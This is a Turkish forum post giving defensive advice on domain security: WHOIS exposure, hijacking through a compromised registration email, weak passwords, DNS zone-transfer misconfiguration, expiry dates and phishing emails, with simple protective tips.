Bir kullanıcının, şirketinizin veya herhangi bir kurumun Web adresine girmek isteyen kullanıcının, şirkete tayin edilmiş olan IP adresini browser’a yazması gerekir IP adreslerinin zihinde tutulması güç olduğundan dolayı, her IP adresine farklı bir alan adı tayin edilir Tayin edilen bu alan adları domain adını alır Bu sayede Browser’a girilecek olan web sayfasının IP adresi yerine, alan adı yazılarak girilir İşte bu alan adları da domain adını alır

Hedef olarak seçilen bir sistemi tamamen ele geçirmenin en sağlam yolu Domain Hack’tir Sisteminizi hedefleyen bir saldırgan, öncelikli olarak Whois Sorgulaması yapacaktır Whois sorgulamasında Domain Registration Maili, irtibat Adresleri, gerçek e-Mail adresi, DNS bilgilerivs gibi detayları görecektir İşin kilit noktası da burasıdır

Bu bilgiler alındıktan sonra gelebilecek saldırılardan korunmak için;

Domain Hi-Jacking saldırılarından korunmak için temel yöntem tedbirdir Şöyle ki; domain hacking’te temel yöntem registration e-mail hack’tir Bu mail hacklendikten sonra, domainin tescil edildiği domain firmasından yeni şifre istenir Ayrıca domainin geri alınmasını engellemek için zone transfer yapılır Kısacası e-mail saldırısıyla eğer domaininiz alınırsa, bunu geri almak mümkün olmayabilir

Ayrıca şifre güvenliğini sağlamak için en garanti yol, zor şifreler seçmektir Örneğin; şifrenizin 123456 olduğunu varsayalım Saldırgan belli bir şifre kombinasyonunu baz alarak saldırı yapan Brute Attack programlarıyla, domain şifrenizi çalmaya çalışacağı zaman, daha ilk denemelerde bu şifreyi ele geçirebilir Ama şifrenin %x-m4st3r?$x-Master% olduğunu düşünün Böyle bir şifreyi deneme yanımlayla ele geçirme ihtimali hemen hemen yok gibidir

Whois sorgusunda DNS bilgilerini gören Attacker, DNS sorgulaması ($nslookup) yapacaktır Burası çok önemli bir noktadır Eğer konfigürasyon hatası yapılmışsa, Zone Transfer yapılabilir, Domain Hi-Jacking edilebilir O yüzden bu noktaya dikkat edilmelidir

Domain’lerin her alanda güvenilir olduğuna inandığınız halde domaininiz el değişiyorsa, Date Expire tarihlerini kontrol edin Unutmuş olduğunuz domain Date Expire tarihi dolduğu zaman, farklı bir kullanıcı domaininizi satın alabilir, legal olarak domain elinizden çıkmış olur O yüzden bu detayı da atlamamak gerek

Web uygulamalarında Domain Güvenliğinin en büyük bölümünü oluşturan Registration Mail güvenliği, Domain’lerin hacklenmesinin çoğunluklu nedenidir Bu nedenle Registration Mailinizi koruyabilmek için;

-> Meraklı olmayın E-Mail’lerin ele geçirilmesinde yararlanılan bir diğer zaaf meraklılıktır hiç şüphesiz Saldırgan size bir e-Mail yollayabilir Bu e-Maillerde bir takım XSS kodları bulunabilir ve eğer kullandığınız e-Mail, hotmailcom gibi bir servisten alınmışsa Cookie bilgileriniz saldırganın eline geçebilir Veya saldırganın gönderdiği e-Posta’da bir eklenti olduğunu varsayıyoruz Bunu direk indirip açmak, aceleci davranmak, e-Mail hesabınızı kaybetmenize neden olabilir

-> Gizli sorularınızın cevabını alakasız yapın Gizli sorularınızın cevabını, sorduğunuz soruya karşılık olacak şekilde değil de, bağlantısız bir şeyler yapmaya özen gösterin Zira saldırganın, tahmin gücünü düşürmede etkili olacaktır

-> Sizden şifre soran hiçbir postayı yanıtlamayın Unutmayın ki, hiçbir mail servisi sizden şifrenizi sormayacaktır

-> Size giriş yapmanız için sunulan sayfalarda ,browser’a bakın Bu yolla sitenin kime ait olduğunu görebilirsiniz

-> Tanımadığınız kişilerden gelen dosyaları, mailleri açmayın ve mümkünse iyi bir güvenlik duvarı kullanın

 

ENGİN is online now  
Dantel   Mumsema   Frmacil
Cevapla
Tags: guvenligi, internet


İnternet Güvenligi ile ilgili Benzer Konular
237 Kez Görüntülendi

İnternet Işığı yanıyor Fakat İnternet Çok Zor Açıyor Network ve İnternet
İnternet Tatlı Sözlük
Windows System Güvenligi -E-book- Genelbilgi ve İpucu
İnternet nedir? İnternet bize ne Sunar? Network ve İnternet
İnternet Olmadan da İnternet Konu Dışı Başlıklar

Saat 02:22.
Sayfalar Rüyatadı Mumsema Frmacil Etiket Dantel Modeller Mumsema.Net Add to Google Add to My Yahoo!
Powered by vBulletin® Version 3.6.12 Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Mail Adresimiz Forumalev(at)gmailcom
Moderatör Başvuru Formu

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553